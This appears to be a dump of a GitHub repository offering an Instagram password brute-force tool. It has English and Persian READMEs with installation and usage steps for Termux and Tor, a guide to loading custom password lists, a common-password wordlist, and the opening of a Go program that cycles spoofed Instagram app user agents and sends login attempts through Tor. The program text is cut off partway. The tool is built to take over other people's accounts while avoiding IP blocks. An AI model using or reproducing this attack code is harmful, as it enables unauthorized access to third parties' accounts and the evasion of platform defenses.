├── images
├── flag-en.png
├── Flag-iran.png
└── snake.svg
├── N.md
├── Custom Pass
├── FA.md
└── EN.md
├── README-FA.md
├── README.md
├── password.txt
└── hack.go
/images/flag-en.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/monsmain/ighack/HEAD/images/flag-en.png
--------------------------------------------------------------------------------
/images/Flag-iran.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/monsmain/ighack/HEAD/images/Flag-iran.png
--------------------------------------------------------------------------------
/N.md:
--------------------------------------------------------------------------------
1 | file pass ro be tedade kochik tar taghsim konam masalan dar har file 5 ya 10 ta pass dashte bashe ta ip belak nashe.
2 |
--------------------------------------------------------------------------------
/Custom Pass/FA.md:
--------------------------------------------------------------------------------
1 |
2 |
آموزش وارد کردن فایل پسورد شخصی در ترموکس برای ابزارها
3 |
4 |
5 | ## اهدا❤️
6 | ### اگر این کد را برای خود مفید میدانید، میتوانید با اهدای هر مبلغی از من حمایت کنید.
7 |
8 |
9 | ## 1. فعالسازی دسترسی ترموکس به حافظه گوشی
10 | ### برای اجازه دسترسی این دستور را بزن :
11 | ```
12 | termux-setup-storage
13 | ```
14 | ## سپس اجازه دسترسی را در پنجرهای که باز میشود بده.
15 |
16 | ## 2. ساخت فایل پسورد:
17 | ### یک فایل متنی بساز (مثلاً با اسم pass.txt) و پسوردها رو توش بنویس، هر پسورد در یک خط.
18 | ### حداقل 6 کارکتر و حداکثر 64 کارکتر
19 | ### فایل رو به حافظه داخلی مثلاً( پوشه Download یا هر پوشه ای) ذخیره کن.
20 |
21 | ## 3. انتقال فایل به home ترموکس:
22 | ### این دستور رو بزن تا فایل به home منتقل بشه:
23 | ```
24 | cp /storage/emulated/0/folderx/pass.txt ~/
25 | ```
26 | ### برای مثال اینجا ما اسم پوشه رو folderx گذاشتیم.
27 | ### اگر فایل جای دیگهای هست مسیرش رو درست وارد کن.
28 |
29 | ## 4. بررسی اینکه فایل منتقل شده:
30 |
31 | ### این دستور رو بزن و مطمئن شو pass.txt رو میبینی:
32 | ```
33 | ls ~
34 | ```
35 | ## 5. سپس کد را اجرا بکنید و گزینه MANUAL ATTACK را انتخاب کنید و اسم فایل رو بفرست.
36 | ```
37 | ../pass.txt
38 | ```
39 | ### یا
40 | ```
41 | pass.txt
42 | ```
43 | ### پس از اجرای دستورات در قسمت 'وارد کردن نام کاربری اینستاگرام'، نام کاربری را نوشته و کلید enter را بزنید.
44 | ### و در نهایت، کد اجرا میشود و رمز حساب کاربری را پیدا میکند.
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
--------------------------------------------------------------------------------
/Custom Pass/EN.md:
--------------------------------------------------------------------------------
1 |
2 |
Instructions for importing a personal password file into Termux for tools
3 |
4 |
5 | ## Donate❤️
6 | ### If you find this code useful, you can support me by donating any amount.
7 |
8 |
9 | ## 1. Enable Termux access to the phone's storage
10 | ### To allow access, type this command:
11 | ```
12 | termux-setup-storage
13 | ```
14 | ## Then allow access in the window that opens.
15 |
16 | ## 2. Create a password file:
17 | ### Create a text file (for example, named pass.txt) and write the passwords in it, each password on a single line.
18 | ### Minimum 6 characters and maximum 64 characters
19 | ### Save the file to internal storage, for example (Download folder or any folder).
20 |
21 | ## 3. Transfer the file to Termux home:
22 | ### Run this command to move the file to home:
23 | ```
24 | cp /storage/emulated/0/folderx/pass.txt ~/
25 | ```
26 | ### For example, here we named the folder folderx.
27 | ### If the file is somewhere else, enter its path correctly.
28 |
29 | ## 4. Check that the file has been transferred:
30 |
31 | ### Run this command and make sure you see pass.txt:
32 | ```
33 | ls ~
34 | ```
35 | ## 5. Then run the code and select the MANUAL ATTACK option and send the file name.
36 | ```
37 | ../pass.txt
38 | ```
39 | ### Or
40 | ```
41 | pass.txt
42 | ```
43 | ### After running the commands in the 'Enter Instagram Username' section, write the username and press the enter key.
44 | ### And finally, the code runs and finds the user account password.
45 |
--------------------------------------------------------------------------------
/README-FA.md:
--------------------------------------------------------------------------------
1 |
2 |
هک bruteforce اینستاگرام
3 |
4 |
5 | ### توضیحات:
6 | در یک حمله بروت فورس، یک نرمافزار به طور خودکار تعداد زیادی رمز عبور مختلف را امتحان میکند تا در نهایت ترکیب صحیح را پیدا کند و به حساب کاربری دسترسی پیدا کند.
7 |
13 |
14 | ### آپدیتها در آینده:
15 | | قابلیتهای جدید | وضعیت |
16 | |:---|:---:|
17 | | اضافه شدن اسکریپت شل | ⏳ در حال بررسی |
18 | ## 📥دانلود ترموکس اندروید:
19 |
20 | | منبع | لینکهای دانلود |
21 | |:--------:| -------------:|
22 | | GitHub 🐈⬛|[Get it Now](https://github.com/termux/termux-app/releases)|
23 | | Google Play|[Get it Now](https://play.google.com/store/apps/details?id=com.termux)|
24 | > پیشنهاد میکنم حتما از گیتهاب نصب کنید.
25 | ## پشتیبانی از : (تست شده)
26 | - `Linux` ✅
27 | - `Termux` ✅
28 | ## بیایید امتحان کنیم :trollface:
29 | ### قدم اول: نصب بروزرسانی ها
30 | ```
31 | apt update -y && apt upgrade -y
32 | ```
33 | ### قدم دوم: پیش نیاز ها
34 | ```
35 | pkg install golang -y && pkg install git -y && pkg install pari
36 | ```
37 | ### قدم سوم: نصب tor
38 | ```
39 | pkg install tor -y && pkg install libexecinfo -y
40 | ```
41 | ### قدم چهارم: ساخت ماژول
42 | ```
43 | go mod init monsmain/ighack
44 | ```
45 | ### قدم پنجم: نصب proxy
46 | ```
47 | go get golang.org/x/net/proxy
48 | ```
49 | ### قدم شش:کپی کردن فایل در دستگاه
50 | ```
51 | git clone https://github.com/monsmain/ighack
52 | ```
53 | ### قدم هفت: فراخوانی
54 | ```
55 | cd ighack
56 | ```
57 | ### قدم هشت:در صورت استفاده از tor باید یک new session جدید باز کنید و " tor " را بنویسید و صبر کنید تا 100% (done) دیده شود ،سپس به صفحه قبل برگردید.
58 | ### ⚠️ در صورت اتصال مستقیم یا استفاده از vpn این گزینه رو انجام ندید.⚠️
59 |
60 | ### قدم آخر: اجرای آن
61 | ```
62 | go run hack.go
63 | ```
64 | ### گزینههای استفاده :
65 | - گزینه AUTO ATTACK : از این گزینه میتوانید حمله به لیست مجوزهای پیشفرض ابزار را شروع کنید.
66 | - گزینه MANUAL ATTACK : از این گزینه میتوانید لیست عبور دستی را انتخاب کرده و حمله را امتحان کنید.
67 |
68 | > **راهنما**
69 |
70 | >1: از بین 2 گزینه MANUAL ATTACK و AUTO ATTACK یکی رو انتخاب کنید.
71 |
72 | >1-1: در صورتی که گزینه 2 رو انتخاب کردید روی [لینک](https://github.com/monsmain/ighack/blob/main/Custom%20Pass/FA.md)
73 | بزنید تا اموزش این قسمت رو ببینید.
74 |
75 | >2: در گزینه 1 بعد از اجرای دستورات در قسمت 'enter Instagram username`یوزرنیم رو بنویسید و اینتر بزنید.
76 |
77 | >3:و در نهایت کد اجرا میشود و پسورد اکانت رو پیدا میکند.
78 | ### اگر قبلا پروژه رو کلون کردید از این دستور برای آپدیت کردن کد استفاده بکنید تا از آخرین آپدیت های پروژه استفاده کنید.
79 | ```
80 | git pull
81 | ```
82 | ## اهدا❤️
83 | اگر این کد را برای خود مفید میدانید، میتوانید با اهدای هر مبلغی از من حمایت کنید.
84 |
85 |
86 |
87 | ## مشارکت
88 | ما همیشه به دنبال بهبود ابزار هستیم! اگر ایدهای دارید یا باگ پیدا کردید، لطفاً یک [Issue](https://github.com/monsmain/ighack/issues) جدید ایجاد کنید یا یک [Pull Request](https://github.com/monsmain/ighack/pulls) ارسال کنید.
89 |
90 | ## سلب مسئولیت
91 | * توسعهدهنده این برنامه **هیچگونه مسئولیتی** در قبال نحوه استفاده کاربران از آن بر عهده ندارد. اینکه کاربر چگونه از این ابزار استفاده میکند و آیا این استفاده قانونی یا اخلاقی است، **تماماً بر عهده خود کاربر است.**
92 | * با دانلود، یا استفاده از این کد ، شما صراحتاً با تمامی موارد ذکر شده در این سلب مسئولیت موافقت مینمایید.
93 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
Hack Bruteforce Instagram
4 |
5 |
6 | ### Description:
7 | In a bruteforce attack, a software automatically tries a large number of different passwords to finally find the correct combination and gain access to the user account.
8 |
9 |
19 |
20 | ### Future Updates:
21 | | New Features | Status |
22 | |:---|:---:|
23 | | Adding a shell script | ⏳ In Progress |
24 |
25 | ## 📥Download Termux for Android:
26 | | Source | Download Links
27 | |:--------:| -------------:|
28 | | GitHub 🐈⬛|[Get it Now](https://github.com/termux/termux-app/releases)|
29 | | Google Play|[Get it Now](https://play.google.com/store/apps/details?id=com.termux)|
30 | > It is recommended to install from GitHub.
31 |
32 | ## Supported on: (Tested)
33 | - `Linux` ✅
34 | - `Termux` ✅
35 | ## Let’s give it a try :trollface:
36 | ### Step 1: Install Updates
37 | ```
38 | apt update -y && apt upgrade -y
39 | ```
40 | ### Step 2: Install Prerequisites
41 | ```
42 | pkg install golang -y && pkg install git -y && pkg install pari
43 | ```
44 | ### Step 3: Install tor
45 | ```
46 | pkg install tor -y && pkg install libexecinfo -y
47 | ```
48 | ### Step 4: Create a Module
49 | ```
50 | go mod init monsmain/ighack
51 | ```
52 | ### step 5: Install proxy
53 | ```
54 | go get golang.org/x/net/proxy
55 | ```
56 | ### Step 6: Clone the File to Your Device
57 | ```
58 | git clone https://github.com/monsmain/ighack
59 | ```
60 | ### Step 7: Call It
61 | ```
62 | cd ighack
63 | ```
64 | ### Step 8: If you are using Tor, you need to open a new session, type "tor" and wait until it shows 100% (done), then return to the previous page.
65 | ### ⚠️ Skip this step if you are using a direct connection or a VPN. ⚠️
66 | ### Final Step: Run It
67 | ```
68 | go run hack.go
69 | ```
70 | ### Usage Options:
71 | - AUTO ATTACK Option: From this option you can start attacking the default permissions list of the tool.
72 | - MANUAL ATTACK Option: From this option you can select the manual pass list and try the attack.
73 |
74 | > **Guide**
75 |
76 | >1: Choose one of the 2 options AUTO ATTACK or MANUAL ATTACK.
77 |
78 | >1-1: If you choose option 2, click on [link](https://github.com/monsmain/ighack/blob/main/Custom%20Pass/EN.md)
79 | to see the tutorial for this section.
80 |
81 | >2: In option 1, after executing the commands in the 'enter Instagram username` field, write the username and press enter.
82 |
83 | >3: And finally, the code is executed and finds the account pa
84 | ### If you have previously cloned the project, use this command to update the code to use the latest project updates.
85 | ```
86 | git pull
87 | ```
88 | ## Donate❤️
89 | If you find this code useful, you can support me by donating any amount
90 |
91 | ## Contribute
92 | We are always looking to improve the tool! If you have an idea or find a bug, please create a new [Issue](https://github.com/monsmain/ighack/issues) or submit a [Pull Request](https://github.com/monsmain/ighack/pulls).
93 | ## Disclaimer
94 | * The developer of this program **bears no responsibility** for how users choose to use it. How the user utilizes this tool and whether that use is legal or ethical—is **entirely the user's own responsibility.**
95 | * By downloading or using this code, you explicitly agree to all the terms stated in this disclaimer.
96 |
97 |
--------------------------------------------------------------------------------
/password.txt:
--------------------------------------------------------------------------------
1 | Wr5MgKutfV7SYgQ
2 | 6'66Gx3&:Anx
3 | password
4 | 123456
5 | 1234567
6 | 12345678
7 | 123456789
8 | qwerty
9 | abc123
10 | letmein
11 | monkey
12 | dragon
13 | baseball
14 | football
15 | princess
16 | sunshine
17 | welcome
18 | shadow
19 | master
20 | love123
21 | iloveyou
22 | 123123
23 | qazwsx
24 | admin123
25 | user123
26 | pass123
27 | secret
28 | 111111
29 | 222222
30 | 333333
31 | 444444
32 | 555555
33 | 666666
34 | 777777
35 | 888888
36 | 999999
37 | 000000
38 | test123
39 | hello123
40 | myname
41 | summer
42 | winter
43 | spring
44 | autumn
45 | flower
46 | rose123
47 | star123
48 | moon123
49 | sky123
50 | cloud123
51 | rainbow
52 | happy123
53 | smile123
54 | friend
55 | friends
56 | family
57 | baby123
58 | angel123
59 | king123
60 | queen123
61 | prince
62 | lovely
63 | cutie123
64 | sweetie
65 | honey123
66 | beauty
67 | forever
68 | always
69 | dream123
70 | hope123
71 | faith123
72 | life123
73 | peace123
74 | joy123
75 | lucky123
76 | starwars
77 | batman
78 | superman
79 | spider
80 | marvel
81 | disney
82 | mickey
83 | minnie
84 | donald
85 | goofy123
86 | pluto123
87 | simba123
88 | lionking
89 | harry123
90 | potter123
91 | wizard
92 | magic123
93 | soccer
94 | tennis
95 | hockey
96 | golf123
97 | sport123
98 | game123
99 | player
100 | winner
101 | champion
102 | team123
103 | cool123
104 | awesome
105 | great123
106 | super123
107 | best123
108 | nice123
109 | good123
110 | sweet123
111 | lovely123
112 | pretty
113 | beauty123
114 | cutiepie
115 | darling
116 | dear123
117 | heart123
118 | love1234
119 | ilove123
120 | kiss123
121 | hug123
122 | smiley
123 | happyday
124 | sunshine1
125 | rainbow1
126 | flower123
127 | rose1234
128 | lily123
129 | daisy123
130 | tulip123
131 | violet123
132 | jasmine
133 | skyblue
134 | ocean123
135 | river123
136 | lake123
137 | forest
138 | tree123
139 | green123
140 | blue123
141 | red123
142 | yellow123
143 | purple123
144 | pink123
145 | black123
146 | white123
147 | silver
148 | gold123
149 | diamond
150 | ruby123
151 | emerald
152 | sapphire
153 | crystal
154 | pearl123
155 | starlight
156 | moonlight
157 | sunrise
158 | sunset123
159 | twilight
160 | night123
161 | day123
162 | morning
163 | evening
164 | noon123
165 | midnight
166 | sky1234
167 | cloud1234
168 | rain123
169 | storm123
170 | thunder
171 | lightning
172 | fire123
173 | ice123
174 | snow123
175 | frost123
176 | wind123
177 | breeze
178 | wave123
179 | tide123
180 | sea123
181 | beach123
182 | sand123
183 | shore123
184 | island
185 | paradise
186 | heaven
187 | hell123
188 | angel1234
189 | devil123
190 | ghost123
191 | spirit
192 | soul123
193 | life1234
194 | death123
195 | dream1234
196 | hope1234
197 | faith1234
198 | love12345
199 | peace1234
200 | joy1234
201 | happy1234
202 | smile1234
203 | friend123
204 | family123
205 | baby1234
206 | kid123
207 | child123
208 | mom123
209 | dad123
210 | sister123
211 | brother123
212 | home123
213 | house123
214 | room123
215 | door123
216 | window123
217 | car123
218 | bike123
219 | road123
220 | street123
221 | city123
222 | town123
223 | village
224 | country
225 | world123
226 | earth123
227 | planet
228 | star1234
229 | moon1234
230 | sun123
231 | sky12345
232 | cloud12345
233 | rain1234
234 | snow1234
235 | wind1234
236 | fire1234
237 | ice1234
238 | rock123
239 | stone123
240 | sand1234
241 | water123
242 | air123
243 | light123
244 | dark123
245 | shadow123
246 | ghost1234
247 | spirit123
248 | soul1234
249 | heart1234
250 | mind123
251 | brain123
252 | think123
253 | idea123
254 | dream12345
255 | hope12345
256 | wish123
257 | star12345
258 | moon12345
259 | sun1234
260 | sky123456
261 | cloud123456
262 | rain12345
263 | snow12345
264 | wind12345
265 | fire12345
266 | ice12345
267 | rock1234
268 | stone1234
269 | sand12345
270 | water1234
271 | air1234
272 | light1234
273 | dark1234
274 | shadow1234
275 | ghost12345
276 | spirit1234
277 | soul12345
278 | heart12345
279 | mind1234
280 | brain1234
281 | think1234
282 | idea1234
283 | wish1234
284 | love123456
285 | peace12345
286 | joy12345
287 | happy12345
288 | smile12345
289 | friend1234
290 | family1234
291 | baby12345
292 | kid1234
293 | child1234
294 | mom1234
295 | dad1234
296 | sister1234
297 | brother1234
298 | home1234
299 | house1234
300 | room1234
301 | door1234
302 | window1234
303 | 300000000000000000000000000000000000
304 | summer123
305 | winter123
306 | spring123
307 | autumn123
308 | flower1234
309 | garden123
310 | nature123
311 | forest123
312 | jungle123
313 | mountain
314 | valley123
315 | hill123
316 | peak123
317 | ridge123
318 | cliff123
319 | ocean1234
320 | sea1234
321 | lake1234
322 | river1234
323 | stream123
324 | brook123
325 | wave1234
326 | tide1234
327 | shore1234
328 | beach1234
329 | sand1234
330 | dune123
331 | island123
332 | coral123
333 | reef123
334 | sunset1234
335 | sunrise123
336 | dawn123
337 | dusk123
338 | twilight123
339 | night1234
340 | star123456
341 | moon123456
342 | sun12345
343 | sky1234567
344 | cloud1234567
345 | rain123456
346 | snow123456
347 | storm1234
348 | thunder123
349 | lightning123
350 | wind123456
351 | breeze123
352 | gale123
353 | tornado
354 | hurricane
355 | fire123456
356 | flame123
357 | spark123
358 | blaze123
359 | ice123456
360 | frost1234
361 | snowflake
362 | glacier
363 | chill123
364 | cold123
365 | heat123
366 | warm123
367 | hot123
368 | sunny123
369 | cloudy123
370 | rainy123
371 | snowy123
372 | windy123
373 | fog123
374 | mist123
375 | dew123
376 | rainbow1234
377 | aurora123
378 | comet123
379 | meteor123
380 | galaxy123
381 | nebula123
382 | planet123
383 | earth1234
384 | mars123
385 | venus123
386 | jupiter
387 | saturn123
388 | mercury123
389 | neptune123
390 | uranus123
391 | pluto1234
392 | orbit123
393 | space123
394 | rocket123
395 | shuttle123
396 | starship
397 | alien123
398 | ufo123
399 | cosmic123
400 | astro123
401 | lunar123
402 | solar123
403 | eclipse123
404 | dawn1234
405 | dusk1234
406 | midday123
407 | noon1234
408 | evening123
409 | morning123
410 | day1234
411 | night12345
412 | shadow1234
413 | light12345
414 | dark1234
415 | glow123
416 | shine123
417 | bright123
418 | dim123
419 | dusk12345
420 | dawn12345
421 | twilight1234
422 | starlight123
423 | moonlight123
424 | sunlight123
425 | firelight
426 | candle123
427 | lamp123
428 | lantern123
429 | torch123
430 | beam123
431 | ray123
432 | spark1234
433 | flame1234
434 | blaze1234
435 | inferno123
436 | ember123
437 | ash123
438 | smoke123
439 | mist1234
440 | fog1234
441 | haze123
442 | cloud12345678
443 | sky12345678
444 | heaven123
445 | paradise123
446 | eden123
447 | utopia123
448 | dreamland
449 | fantasy123
450 | magic1234
451 | wizard123
452 | witch123
453 | spell123
454 | charm123
455 | potion123
456 | fairy123
457 | elf123
458 | gnome123
459 | dwarf123
460 | troll123
461 | dragon123
462 | phoenix123
463 | unicorn123
464 | mermaid123
465 | siren123
466 | angel12345
467 | devil1234
468 | demon123
469 | ghost12345
470 | spirit1234
471 | soul123456
472 | heart123456
473 | love1234567
474 | kiss1234
475 | hug1234
476 | smile123456
477 | laugh123
478 | joy123456
479 | peace123456
480 | hope123456
481 | faith123456
482 | dream123456
483 | wish12345
484 | desire123
485 | passion123
486 | romance123
487 | lover123
488 | darling123
489 | sweetie123
490 | honey1234
491 | baby123456
492 | kid12345
493 | child12345
494 | boy123
495 | girl123
496 | mom12345
497 | dad12345
498 | sister12345
499 | brother12345
500 | family12345
501 | friend12345
502 | pal123
503 | buddy123
504 | mate123
505 | team1234
506 | squad123
507 | gang123
508 | crew123
509 | club123
510 | group123
511 | party123
512 | fun123
513 | happy123456
514 | smile1234567
515 | laugh1234
516 | giggle123
517 | chuckle123
518 | joy123456789
519 | bliss123
520 | cheer123
521 | merry123
522 | glad123
523 | delight123
524 | thrill123
525 | excite123
526 | adventure
527 | journey123
528 | trip123
529 | travel123
530 | voyage123
531 | quest123
532 | explore123
533 | discover123
534 | find123
535 | search123
536 | seek123
537 | hunt123
538 | chase123
539 | run123
540 | walk123
541 | hike123
542 | climb123
543 | swim123
544 | dive123
545 | surf123
546 | sail123
547 | boat123
548 | ship123
549 | plane123
550 | car1234
551 | bike1234
552 | train123
553 | bus123
554 | road1234
555 | street1234
556 | avenue123
557 | lane123
558 | path123
559 | trail123
560 | bridge123
561 | river12345
562 | lake12345
563 | sea123456
564 | ocean123456
565 | bay1234
566 | gulf1234
567 | island12345
568 | shore123456
569 | beach123456
570 | sand123456
571 | dune12345
572 | reef12345
573 | coral12345
574 | wave123456
575 | tide123456
576 | current1234
577 | stream12345
578 | brook12345
579 | pond1234
580 | pool1234
581 | water123456
582 | rain12345678
583 | snow12345678
584 | ice123456789
585 | frost123456
586 | wind12345678
587 | storm1234567
588 | thunder123456
589 | lightning123456
590 | cloud12345678901
591 | sky123456789012
592 | star12345678
593 | moon12345678
594 | sun12345678
595 | eclipse123456
596 | comet123456
597 | meteor123456
598 | galaxy123456
599 | nebula123456
600 | planet1234567
601 | orbit1234567
602 | space123456
603 | rocket123456
604 | shuttle123456
605 | starship1234
606 | alien123456
607 | ufo123456
608 | cosmic123456
609 | astro123456
610 | lunar123456
611 | solar123456
612 | nova1234
613 | supernova123
614 | blackhole123
615 | gravity1234
616 | orbit12345678
617 | planet12345678
618 | star123456789
619 | moon123456789
620 | sun123456789
621 | sky1234567890123
622 | cloud1234567890123
623 | rain123456789
624 | snow123456789
625 | wind123456789
626 | storm12345678
627 | thunder1234567
628 | lightning1234567
629 | fire123456789
630 | ice1234567890
631 | frost1234567
632 | snowflake1234
633 | glacier1234
634 | chill12345
635 | cold12345
636 | heat12345
637 | warm12345
638 | hot12345
639 | sunny12345
640 | cloudy12345
641 | rainy12345
642 | snowy12345
643 | windy12345
644 | fog12345
645 | mist123456
646 | dew12345
647 | rainbow123456
648 | aurora12345
649 | comet1234567
650 | meteor1234567
651 | galaxy1234567
652 | nebula1234567
653 | planet12345678
654 | earth1234567
655 | mars12345
656 | venus12345
657 | jupiter1234
658 | saturn12345
659 | mercury12345
660 | neptune12345
661 | uranus12345
662 | pluto123456
663 | orbit12345678
664 | space1234567
665 | rocket1234567
666 | shuttle1234567
667 | starship12345
668 | alien1234567
669 | ufo1234567
670 | cosmic1234567
671 | astro1234567
672 | lunar1234567
673 | solar1234567
674 | eclipse1234567
675 | dawn1234567
676 | dusk1234567
677 | midday12345
678 | noon123456
679 | evening12345
680 | morning12345
681 | day123456
682 | night1234567
683 | shadow123456
684 | light1234567
685 | dark123456
686 | glow12345
687 | shine12345
688 | bright12345
689 | dim12345
690 | dusk1234567
691 | dawn12345678
692 | twilight123456
693 | starlight12345
694 | moonlight12345
695 | sunlight12345
696 | firelight1234
697 | candle12345
698 | lamp12345
699 | lantern12345
700 | torch12345
701 | beam12345
702 | ray12345
703 | spark123456
704 | flame123456
705 | blaze123456
706 | inferno12345
707 | ember12345
708 | ash12345
709 | smoke12345
710 | mist1234567
711 | fog123456
712 | haze12345
713 | cloud123456789012
714 | sky12345678901234
715 | heaven12345
716 | paradise12345
717 | eden12345
718 | utopia12345
719 | dreamland1234
720 | fantasy12345
721 | magic123456
722 | wizard12345
723 | witch12345
724 | spell12345
725 | charm12345
726 | potion12345
727 | fairy12345
728 | elf12345
729 | gnome12345
730 | dwarf12345
731 | troll12345
732 | dragon12345
733 |
--------------------------------------------------------------------------------
/hack.go:
--------------------------------------------------------------------------------
1 | /* coded by @monsmain
2 | ⚠️NOTE EN:
3 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law.
4 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law.
5 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law.
6 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law.
7 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law.
8 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law.
9 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law.
10 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law.
11 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law.
12 | The right to use this code is reserved only for its owner; any unauthorized copying will be pursued to the full force of the law.
13 | */
14 | package main
15 |
16 | import (
17 | "bufio"
18 | "compress/gzip"
19 | "encoding/json"
20 | "fmt"
21 | "io"
22 | "log"
23 | "math/rand"
24 | "net/http"
25 | "net/url"
26 | "os"
27 | "os/exec"
28 | "runtime"
29 | "strings"
30 | "sync"
31 | "time"
32 | "golang.org/x/net/proxy"
33 | )
34 |
35 | const (
36 | API_URL = "https://i.instagram.com/api/v1/"
37 | TIMEOUT = 20 * time.Second
38 | CURRENT_USER = "monsmain"
39 | IG_APP_ID = "567067343352427"
40 | IG_BLOKS_VERSIONID = "2fb68e1b10e8ec4ce874193c87cdbeb39b6be34200cdc15664782eed8dbd366f"
41 | WORKER_COUNT = 2
42 | RATE_LIMIT_MIN = 5
43 | RATE_LIMIT_MAX = 12
44 | )
45 |
46 | var userAgents = []string{
47 | //Android
48 | "Instagram 371.0.0.36.89 Android (33/14; 420dpi; 1080x2340; samsung; SM-A546E; a54; qcom; en_US; 706838827)",
49 | "Instagram 370.0.0.26.109 Android (32/12; 440dpi; 1080x2400; Xiaomi; M2101K6G; sweet; qcom; en_US; 703402950)",
50 | "Instagram 360.0.0.52.192 Android (28/9; 239dpi; 720x1280; google; G011A; G011A; intel; in_ID; 672535977)",
51 | "Instagram 365.0.0.40.94 Android (34/14; 420dpi; 1080x2115; samsung; SM-G990W; r9q; qcom; en_CA; 690234877)",
52 | "Instagram 318.0.7.22.109 Android (29/10; 320dpi; 720x1384; samsung; SM-G960W; starqltecs; qcom; en_CA; 690234910)",
53 | "Instagram 365.0.0.40.94 Android (34/14; 450dpi; 1080x2301; samsung; SM-A146U; a14xm; mt6833; en_US; 690234900; IABMV/1)",
54 | "Instagram 365.0.0.40.94 Android (34/14; 420dpi; 1080x2115; samsung; SM-G990W; r9q; qcom; en_CA; 690234877)",
55 | "Instagram 76.0.0.15.395 Android (24/7.0; 640dpi; 1440x2560; samsung; SM-G930F; herolte; samsungexynos8890; en_US; 138226743",
56 | "Instagram 141.0.0.17.118 Android (29/10; 450dpi; 1080x2192; samsung; SM-G986U; y2q; qcom; en_US; 213368022)",
57 | "Instagram 329.0.0.29.120 Android (31/12; 420dpi; 1080x2400; samsung; SM-A515F; a51; exynos9611; en_US; 329000029)",
58 | "Instagram 328.0.0.13.119 Android (31/12; 480dpi; 1080x2400; samsung; SM-A715F; a71; qcom; en_US; 328000013)",
59 | "Instagram 330.0.0.23.108 Android (31/12; 480dpi; 1080x2400; samsung; SM-A525F; a52; qcom; en_US; 330002310)",
60 | "Instagram 330.0.0.23.108 Android (30/11; 420dpi; 1080x2340; Xiaomi; M2007J20CG; gauguin; qcom; en_US; 330002310)",
61 | "Instagram 327.0.0.20.123 Android (30/11; 420dpi; 1080x2400; realme; RMX3371; RMX3371; qcom; en_US; 327000020)",
62 | "Instagram 372.0.0.48.60 Android (34/14; 450dpi; 1080x2222; samsung; SM-S928N; e3q; qcom; vi_VN; 709818009)",
63 | "Instagram 352.1.0.41.100 Android (31/12; 420dpi; 1080x2047; samsung; SM-G975F; beyond2; exynos9820; in_ID; 650753877)",
64 | "Instagram 350.1.0.46.93 Android (31/12; 480dpi; 1080x2051; samsung; SM-N976N; d2x; exynos9825; ko_KR; 645441462)",
65 | "Instagram 357.1.0.52.100 Android (34/14; 450dpi; 1080x2127; samsung; SM-S926N; e2s; s5e9945; ko_KR; 662944209)",
66 | "Instagram 349.3.0.42.104 Android (34/14; 420dpi; 1080x2133; samsung; SM-S911N; dm1q; qcom; ko_KR; 643237792)",
67 | //iOS
68 | "Instagram 235.1.0.24.107 (iPhone12,1; iOS 18_1_1; en_US; en-US; scale=2.21; 828x1792; 370368062) NW/3",
69 | "Instagram 279.0.0.17.112 (iPhone12,5; iOS 18_1_1; en_US; en-US; scale=3.00; 1242x2688; 465757305)",
70 | "Instagram 313.0.2.9.339 (iPad7,6; iOS 14_7_1; en_US; en; scale=2.00; 750x1334; 553462334)",
71 | "Instagram 337.0.2.24.92 (iPhone14,6; iOS 17_4_1; en_US; en; scale=2.00; 750x1334; 614064327)",
72 | "Instagram 365.0.0.33.88 (iPad7,5; iPadOS 17_6; en_US; en; scale=2.00; 750x1334; 690008027; IABMV/1) NW/3",
73 | "Instagram 315.1.2.21.112 (iPhone13,2; iOS 18_1_1; ru_US; ru; scale=3.00; 1170x2532; 559614958) NW/1",
74 | }
75 |
76 | func clearTerminal() {
77 | if strings.Contains(strings.ToLower(runtime.GOOS), "windows") {
78 | cmd := exec.Command("cmd", "/c", "cls")
79 | cmd.Stdout = os.Stdout
80 | cmd.Run()
81 | } else {
82 | cmd := exec.Command("clear")
83 | cmd.Stdout = os.Stdout
84 | cmd.Run()
85 | }
86 | }
87 |
88 | func main() {
89 | rand.Seed(time.Now().UnixNano())
90 | clearTerminal()
91 | setupLogger()
92 | fmt.Println(" ***Instagram Login Tool (v2.0)*** ")
93 | fmt.Printf("coded by: %s\n\n", CURRENT_USER)
94 | fmt.Println("\nChecking Public IPs...\n")
95 |
96 | ipDirect, errDirect := getPublicIP(&http.Client{Timeout: 10 * time.Second})
97 | ipTor, torOK := getTorIP()
98 |
99 | if errDirect != nil {
100 | fmt.Println("Error getting direct IP:", errDirect)
101 | } else {
102 | fmt.Println("[Direct] Public IP:", ipDirect)
103 | }
104 |
105 | if torOK {
106 | fmt.Println("[TOR] Public IP:", ipTor)
107 | if errDirect == nil && ipDirect != ipTor {
108 | fmt.Println("TOR is working (IP changed)\n")
109 | } else {
110 | fmt.Println("TOR is NOT working (IP did not change)\n")
111 | }
112 | } else {
113 | fmt.Println("[TOR] Unable to connect through TOR. (TOR is NOT working)\n")
114 | }
115 |
116 | useTor := torOK
117 |
118 | if useTor {
119 | fmt.Println("tor is active...\n")
120 | } else {
121 | fmt.Println("TOR is not active , direct connection is active\n")
122 | }
123 |
124 | mode := selectMode()
125 | var passwords []string
126 |
127 | if mode == 1 {
128 | passwords = loadPasswordsAuto()
129 | } else {
130 | passwords = loadPasswordsManual()
131 | }
132 |
133 | if len(passwords) == 0 {
134 | fmt.Println("No passwords found!")
135 | return
136 | }
137 |
138 | fmt.Printf("\nLoaded %d passwords\n", len(passwords))
139 |
140 | username := getUsername()
141 | if username == "" {
142 | fmt.Println("Username is empty!")
143 | return
144 | }
145 |
146 | fmt.Println("\nStarting login attempts...\n")
147 | found := make(chan LoginResult, 1)
148 | progress := make(chan int, len(passwords))
149 | var wg sync.WaitGroup
150 |
151 | jobs := make(chan string, len(passwords))
152 | for i := 0; i < WORKER_COUNT; i++ {
153 | wg.Add(1)
154 | go func() {
155 | defer wg.Done()
156 | for password := range jobs {
157 | res := tryLogin(username, password, useTor)
158 | progress <- 1
